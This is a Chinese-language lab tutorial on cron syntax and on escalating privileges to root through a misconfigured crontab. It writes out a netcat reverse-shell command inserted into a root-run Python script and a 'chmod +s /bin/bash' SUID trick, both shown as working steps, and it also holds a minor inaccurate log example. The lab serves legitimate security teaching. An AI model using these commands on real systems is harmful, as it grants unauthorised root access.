介绍
在本实验中,我们将学习 Cron Jobs 和 cron 语法,并通过动手练习,你将快速掌握 crontab 的使用方法。此外,我们还将了解如何利用错误的 crontab 配置在 Linux 上进行权限提升。
理解定时任务(Cron Jobs)和 cron 语法
在这一步中,我们将介绍 Cron Jobs 和 cron 语法。
Cron Jobs 是 Linux 系统中的“定时任务”,通常用于调度需要定期执行的命令,例如定期数据备份或缓存清理。它们被称为 Cron Jobs,因为它们使用了 cron 工具(crontab)。
Cron Jobs 是系统管理员最常用的工具之一,它们本身是非常强大的工具。然而,如果“定时任务”被设置为以更高用户权限(例如 root 用户)运行,攻击者可能会利用它们进行权限提升。
crontab 命令使用以下语法:
* * * * * [ user ] File/Command
- - - - -
| | | | |
| | | | +----- 星期几 (0 - 7) (0 = 星期日)
| | | +---------- 月份 (1 - 12)
| | +--------------- 日期 (1 - 31)
| +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)
user 字段是可选的。如果未指定,命令或脚本将以当前用户的权限执行。
请注意,只有 root 用户可以指定以其他用户的权限执行命令或脚本。
例如,如果我们希望每小时输出 Apache 错误日志,可以使用以下语句:
0 * * * * echo /var/log/lastlog
由于 hour、day、month 和 week 都设置为 *,定时任务将在每分钟达到 0 时执行一次,即每小时执行一次。
如果我们需要每两小时的第 15 分钟执行一次命令,可以简单修改如下:
15 */2 * * * echo /var/log/lastlog
为了理解 cron 的用法,我们来看一个示例。
打开终端并导航到
/home/labex/project目录。然后执行以下命令以初始化实验环境:./env_setup1.sh成功初始化后,你将在 labex 用户的主目录中看到
cleanup.py文件和trashDirectory目录。trashDirectory目录中包含两个文件:error.log和readme.txt。我们的实验目标如下:使用
crontab添加一个定时任务,每分钟调用一次cleanup.py脚本,以清除/home/labex/project/trashDirectory目录中的所有数据。cleanup.py脚本通过os.system()函数调用rm系统命令来清除/home/labex/project/trashDirectory目录。接下来,使用以下命令在 crontab 中添加定时任务:
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null上述命令向 crontab 文件中添加了一个定时任务。该任务将
每分钟执行一次,并且cleanup.py脚本将以 root 权限执行。由于我们的实验机器上默认禁用了 cron 服务,我们需要使用以下命令手动启动它:
sudo service cron start预期输出:
* Starting periodic command scheduler cron大约
一分钟后,如果我们进入/home/labex/project/trashDirectory目录并使用ls命令,我们将看到目录中的数据已被清除,这表明 cron job 正在正确执行。
覆盖 Crontab 脚本以执行反向 shell
在这一步中,我们将学习如何通过覆盖 crontab 调用的脚本来提升权限。
首先,打开终端并导航到
/home/labex/project目录。然后执行以下命令以初始化实验环境:cd /home/labex/project运行脚本以初始化实验环境:
./env_setup2.sh成功初始化后,使用以下命令查看主机上的定时任务:
cat /etc/crontab文件末尾的一个定时任务引起了我们的注意:系统每分钟以 root 权限执行一个
/home/labex/project/cleanup.py脚本,这是我们上一步中使用的文件。接下来,让我们检查脚本的权限:
ls -al /home/labex/project/cleanup.py我们注意到
cleanup.py的文件权限设置存在风险:其他用户也具有写(w)权限,这意味着我们可以编辑和修改cleanup.py的内容!由于
cleanup.py是以 root 权限执行的,我们可以使用反向 shell 来获取 root 权限。通过修改
cleanup.py脚本,使用nc.traditional将反向 shell 发送到本地端口 4444:... os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash") ...保存文件后,更改将在一分钟后生效。
我们使用
nc.traditional的原因是默认的nc命令不支持-e选项。然后,执行以下命令以监听本地端口 4444:
nc -lnvp 4444预期输出:
Listening on 0.0.0.0 4444等待片刻后,我们成功接收到一个具有 root 权限的反向 shell。
Connection received on 127.0.0.1 45480尝试执行
whoami命令以检查当前用户:whoami root
覆盖 Crontab 脚本以赋予 Bash SUID 权限
你还记得我们之前讨论过的 SUID 权限提升吗?我们也可以使用 cleanup.py 脚本来修改某些可执行文件的权限,使其具有 setuid 位,从而利用它们进行 SUID 权限提升,例如为 bash 设置 setuid 位。
在上一步之后,你可能仍然处于 root shell 中。对于这一步,你需要退出 root shell 并重新以 labex 用户登录,执行以下命令:
exit
或者你可以打开一个新的终端并以 labex 用户登录。
然后,执行以下命令导航到 /home/labex/project 目录:
cd /home/labex/project
目前,
/bin/bash没有设置 setuid 位:ls -l /bin/bash类似于上一步,将
cleanup.py脚本执行的命令修改为以下命令:... os.system("chmod +s /bin/bash") ...过一段时间后,如果我们检查
/bin/bash,会发现它现在设置了 setuid 位,表明定时任务已成功执行:ls -l /bin/bash预期输出:
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash如上所示,我们现在可以使用
bash -p来获取 root 权限。labex:project/ $ bash -p bash-5.1## whoami root在
/root目录中创建一个名为success.txt的文件,以表示你已成功提升权限:echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
总结
在本实验中,我们学习了 Cron Jobs 和 cron 语法,并通过动手练习掌握了 crontab 的使用方法。最后,我们利用错误的 crontab 配置成功将 shell 权限提升至 root。